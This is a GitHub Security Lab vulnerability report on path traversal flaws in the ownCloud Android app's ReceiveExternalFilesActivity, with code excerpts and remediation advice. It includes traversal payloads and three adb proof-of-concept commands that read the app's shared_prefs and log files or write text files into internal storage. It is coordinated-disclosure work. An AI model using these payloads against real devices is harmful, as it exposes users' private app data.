GitHub Security Lab (GHSL) Vulnerability Report: Insufficient path validation in ReceiveExternalFilesActivity.java (GHSL-2022-060)
Low
O
ownCloud
Submitted None
Actions:
Reported by
atorralba
Vulnerability Details
Technical details and impact analysis
The [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [Owncloud Android app](https://github.com/owncloud/android).
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `[email protected]` (please include `GHSL-2022-059` or `GHSL-2022-060` as a reference).
If you are _NOT_ the correct point of contact for this report, please let us know!
## Summary
The Owncloud Android app handles externally-provided files in the activity `ReceiveExternalFilesActivity`, where potentially malicious file paths are not properly sanitized, allowing attackers to read from and write to the application's internal storage.
## Details
### Access to arbitrary files in the app's internal storage fix bypass
`ReceiveExternalFilesActivity` handles the upload of files provided by third party components in the device. The received data can be set arbitrarily by attackers, causing some functions that handle file paths to have unexpected behavior. https://hackerone.com/reports/377107 shows how that could be exploited in the past, using the `android.intent.extra.STREAM` extra to force the application to upload its internal files, like `com.owncloud.android_preferences.xml`. To fix it, the following code was added:
[`ReceiveExternalFilesActivity.java:521`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/ui/activity/ReceiveExternalFilesActivity.java#L521)
```java
private void prepareStreamsToUpload() {
// --snip--
for (Uri stream : mStreamsToUpload) {
String streamToUpload = stream.toString();
if (streamToUpload.contains("/data") &&
streamToUpload.contains(getPackageName()) &&
!streamToUpload.contains(getCacheDir().getPath())
) {
finish();
}
}
}
```
This protection can be bypassed in two ways:
* Using the path returned by `getCacheDir()` in the payload, e.g. `"file:///data/user/0/com.owncloud.android/cache/../shared_prefs/com.owncloud.android_preferences.xml"`.
* Using a content provider URI that uses the `org.owncloud.files` provider to access the app's internal `file` folder, e.g. `"content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"`.
With those payloads, the original issue can be still exploited with the same impact.
### Write of arbitrary `.txt` files in the app's internal storage
Additionally, there's another insufficient path validation when uploading a plain text file that allows to write arbitrary files in the app's internal storage.
When uploading a plain text file, the following code is executed, using the user-provided text at `input` to save the file:
[`ReceiveExternalFilesActivity:920`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/ui/activity/ReceiveExternalFilesActivity.java#L920)
```java
private void showUploadTextDialog() {
// --snip--
final TextInputEditText input = dialogView.findViewById(R.id.inputFileName);
// --snip--
setFileNameFromIntent(alertDialog, input);
alertDialog.setOnShowListener(dialog -> {
Button button = alertDialog.getButton(AlertDialog.BUTTON_POSITIVE);
button.setOnClickListener(view -> {
// --snip--
} else {
fileName += ".txt";
Uri fileUri = savePlainTextToFile(fileName);
mStreamsToUpload.clear();
mStreamsToUpload.add(fileUri);
uploadFiles();
}
inputLayout.setErrorEnabled(error != null);
inputLayout.setError(error);
});
});
alertDialog.show();
}
```
By reviewing `savePlainTextToFile`, it can be seen that the plain text file is momentarily saved in the app's cache, but the destination path is built using the user-provided `fileName`:
[`ReceiveExternalFilesActivity:983`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/ui/activity/ReceiveExternalFilesActivity.java#L983)
```java
private Uri savePlainTextToFile(String fileName) {
Uri uri = null;
String content = getIntent().getStringExtra(Intent.EXTRA_TEXT);
try {
File tmpFile = new File(getCacheDir(), fileName); // here
FileOutputStream outputStream = new FileOutputStream(tmpFile);
outputStream.write(content.getBytes());
outputStream.close();
uri = Uri.fromFile(tmpFile);
} catch (IOException e) {
Timber.w(e, "Failed to create temp file for uploading plain text: %s", e.getMessage());
}
return uri;
}
```
An attacker can exploit this using a path traversal attack to write arbitrary text files into the app's internal storage or other restricted directories accessible by it. The only restriction is that the file will always have the `.txt` extension, limiting the impact.
## Remediation
Validate user input before using it to construct a file path. Ideally, follow these rules:
* Do not allow more than a single `.` character.
* Do not allow directory separators such as `/` or `\` (depending on the file system).
* Do not rely on simply replacing problematic sequences such as `../`. For example, after applying this filter to
`.../...//` the resulting string would still be `../`.
* Ideally use an allowlist of known good patterns.
## Resources
The following PoC demonstrates how to upload arbitrary files from the app's internal storage:
```
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/user/0/com.owncloud.android.debug/cache/../shared_prefs/com.owncloud.android.debug_preferences.xml"
```
The following PoC demonstrates how to upload arbitrary files from the app's internal `files` directory:
```
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"
```
The following PoC demonstrates how to write an arbitrary `test.txt` text file to the app's internal storage:
```
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --es "android.intent.extra.TEXT" "Arbitrary contents here" --es "android.intent.extra.TITLE" "../shared_prefs/test"
```
## GitHub Security Advisories
We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory).
## Credit
These issues were discovered and reported by the CodeQL team member [@atorralba (Tony Torralba)](https://github.com/atorralba).
## Contact
You can contact the GHSL team at `[email protected]`, please include a reference to `GHSL-2022-059` or `GHSL-2022-060` in any communication regarding these issues.
## Disclosure Policy
This report is subject to our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).
## Impact
These issues may lead to information disclosure when uploading the app's internal files, and to arbitrary file write when uploading plain text files (although limited by the `.txt` extension).
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$50.00
Submitted
Weakness
Path Traversal